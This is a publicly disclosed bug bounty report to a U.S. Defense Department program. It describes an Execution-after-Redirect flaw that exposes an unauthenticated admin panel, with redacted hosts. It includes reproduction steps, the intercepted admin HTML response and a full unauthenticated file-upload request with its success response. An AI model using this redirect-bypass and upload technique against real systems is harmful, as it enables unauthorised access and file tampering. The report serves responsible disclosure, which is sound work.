U.S. Dept Of Defense · Report #1397564

Unauthenticated Access to Admin Panel Functions at https://███████/███

Validstatus

criticalseverity

14upvotes

29 Nov 2021disclosed

How it was found

Description: The admin panel at https://██████████/████████ and all its functions can be accessed without authentication. This is basically the same vulnerability as in #1394910, just on another system.

Impact

An attacker is able to use the administrative functions in order to upload, delete or modify files.

System Host(s)

███

Affected Product(s) and Version(s)

██████████

CVE Numbers

Steps to Reproduce

Navigate to https://███/ and click on the "Authenticate ██████████" button
Notice how the application first sends an HTTP POST request to https://███████/████████ which should redirect to https://██████/██████████ (Location: █████). Navigating to https://███/██████ redirects to https://█████/███
Looking at the response to https://█████/███ I noticed that even though the server sent back a 302 status code with a header Location: /██████████ the response was quite long
I browsed to https://█████████/████████, intercepted the response in Burp, changed the status code from 302 Found to 200 OK and was presented with the admin panel (this kind of attack is called Execution after Redirect). Below you can see the unmodified response containing links to the ██████ Admin Functions:

HTTP/1.1 302 Found
Date: Wed, 10 Nov 2021 14:28:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: /██████
Pragma: no-cache
Set-Cookie: █████████; path=/; HttpOnly
Set-Cookie: ███████; Path=/; HttpOnly; Secure
X-Vcap-Request-Id: 3c110e5d-196e-46f4-503d-222157e0c465
Strict-Transport-Security: max-age=31536000; includeSubDomains
██████████████████
Content-Length: 4266


<!-- Unused LIMDIS banner in WWW  

<table align="center" width="800" border="1" cellspacing="1"
	cellpadding="1" bgcolor="#008000">
	<tr>
		<td style="color: #FFF";  align="center">LIMITED DISTRIBUTION<br> <font
			size="2px">Distribution authorized to DoD, IAW 10 U.S.C. §§ 130 &
				455. Release authorized to U.S. DoD contractors, IAW 48 C.F.R. §
				252.245-7000. Refer other requests to: Headquarters, ██████████, ATTN:
				Release Of ficer, ███████, ██████,
				█████. Destroy IAW DoDI 5030.59. Removal of this caveat is
				prohibited.</font></td>
	</tr>
</table>
--><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin</title>
<script src="../███████/SpryAssets/SpryMenuBar.js" type="text/javascript"></script>
<link href="../█████/SpryAssets/SpryMenuBarHorizontal.css"
	rel="stylesheet" type="text/css" />
</head>

<body>
	<table align="center" bgcolor="50D6EE" border="3">
		<tr>
			<td colspan="2" align="center"><img
				src="../███████/images/███_banner_top.jpg" /></td>
		</tr>
		<tr>
			<td align="center"><br />
            Welcome to ███  You are on World Wide Web<br /></td>
		</tr>
		<tr>
			<td>
				<div align="center">
					<ul id="MenuBar1" class="MenuBarHorizontal">
						<li><a class="MenuBarItemSubmenu" href="#">Home</a></li>
						<li><a class="MenuBarItemSubmenu" href="#">█████ Admin Functions</a>
							<ul>
								<li><a href="s3html.php">UpLoad Weekly</a></li>
								<li><a href="../███/██████/verifyfile.php">Verify File Dates</a></li>
								<li><a href="#">Add Single File</a>
									<ul>
										<li><a href="../██████████/██████████/addnewfile.php" target="new">VDU ADD
										</a></li>
										<li><a href="../██████/██████████/addvpf.php" target="new">VPF ADD</a></li>
										<li><a href="../██████████/█████/█████class.php" target="new">Change
												Classification</a></li>
										<li><a href="../████████/██████/██████████bull.php">New ███</a></li>
										<li><a href="../██████████/█████████/███████loadgraph.php" target="new">Graphic
												ADD</a></li>
										<li><a href="../██████/████████/██████delgrp.php">Delete 'ALL' Graphic
												Files</a></li>
									</ul></li>
								<li><a href="#">Upload New Editions</a>
									<ul>
										<li><a href="../████████/█████/██████loadvdu.php" target="new">Install
												New Base VDU </a></li>
										<li><a href="../███/██████████/█████loadvpf.php" target="new">Install
												New base VPF </a></li>
										<li><a href="../█████████/██████████/███████loadtxt.php" target="new">Install/Update
												█████████##.txt</a></li>
										<li><a href="../███████/███████/███████newgraph.php" target="new">Replace
												all Graphic Files</a></li>
									</ul></li>
								<li><a href="#">Modify Single File**</a>
									<ul>
										<li><a href="../██████/█████████/██████mod.php">Modify ██████████ Chart</a></li>
										<li><a href="../██████████/███████/█████vitem.php">Modify Library Specific
												File</a></li>
										<li><a href="../████████/███/█████viteml.php">Stop ALL VPFS from
												being viewed from specific Region</a></li>
										<li><a href="../█████/███/█████████graphic.php">Modify Graphic
												Specific File</a></li>
									</ul></li>
								<li><a href="../███████/████/██████████vpfdel.php">DELETE VPF, VDU,
										Graphics</a></li>
								<li><a href="#">Change Status of Deleted and New Records</a>
									<ul>
										<li><a href="../████/█████/████████deldel.php">Change Record Status
												To an ADDed or DELeted VDU Record</a></li>
									</ul></li>
								<li><a href="../████/█████/█████_documentation.php">████
										Documentation</a></li>
							</ul></li>
						<li><a href="dssLogout.php">Logout</a></li>
					</ul>
				</div>
				<p>&nbsp;</p>
				<p>&nbsp;</p>
				<p>
					<br /> <br />
				</p>
			</td>
		</tr>
		<tr>
			<td><br /> <br /></td>
		</tr>
		<tr align="center">
		</tr>
	</table>
	<script type="text/javascript">
    var MenuBar1 = new Spry.Widget.MenuBar("MenuBar1", {imgDown:"../SpryAssets/SpryMenuBarDownHover.gif", imgRight:"../SpryAssets/SpryMenuBarRightHover.gif"});
</script>
</body>
</html>

The functions allow to upload, modify and to delete █████ files and can all be used completely unauthenticated. Following an example in which I upload a file; this upload function can be accessed from https://█████/██████/████/█████████bull.php. Note that the request has no session cookie:

POST /████/███████/███████bulla.php HTTP/1.1
Host: █████
Content-Length: 401
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://█████
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVxWfTBx5ZkXMXVG2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://███████/█████/████/████████bull.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
X-Bug-Bounty: HackerOne-palaziv
X-Bug-Bounty: BurpSuitePro

------WebKitFormBoundaryVxWfTBx5ZkXMXVG2
Content-Disposition: form-data; name="bdate"

1970-01-01
------WebKitFormBoundaryVxWfTBx5ZkXMXVG2
Content-Disposition: form-data; name="userfile1"; filename="test.txt"
Content-Type: text/plain

test

------WebKitFormBoundaryVxWfTBx5ZkXMXVG2
Content-Disposition: form-data; name="buttonm"

Begin Uploads
------WebKitFormBoundaryVxWfTBx5ZkXMXVG2--

Response:

HTTP/1.1 302 Found
Date: Wed, 10 Nov 2021 14:44:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: ../../█████████/404.html
Pragma: no-cache
Set-Cookie: JSESSIONID=fceoa3cccho3q5dc6ahec3ghav; path=/; HttpOnly
Set-Cookie: ███; Path=/; HttpOnly; Secure
X-Vcap-Request-Id: ffb083d0-f29b-4623-5249-9f015b9cc59f
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: TS01b8cd54=01dc86b24807c4064ee7333f073dd2db329d550bf5a80b061306a56af136c21560cefb7fa74dbd19a258797185afd48dfdfb9f2dca; Path=/; Domain=.█████████
Content-Length: 173

<br>Upload SUCCESS!<br>S3 ObjectURL: https://pcf-om-mil-86e7ccdd-b099-4b50-aad2-cad52466327b.s3.amazonaws.com/██████████/███████SiteContent/█████████████.zip<br>error in █████ table

This uploaded file can be downloaded again on https://█████████.██████████/████/███/███.php (another system) by clicking on the "██████████ ███████" link: https://██████.█████████/█████████/██████████/downloadS3File.php?file=███%2F██████SiteContent%2F███████.zip

Suggested Mitigation/Remediation Actions

Implement proper access controls.

Mitigation for the Execution after Redirect vulnerability: Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original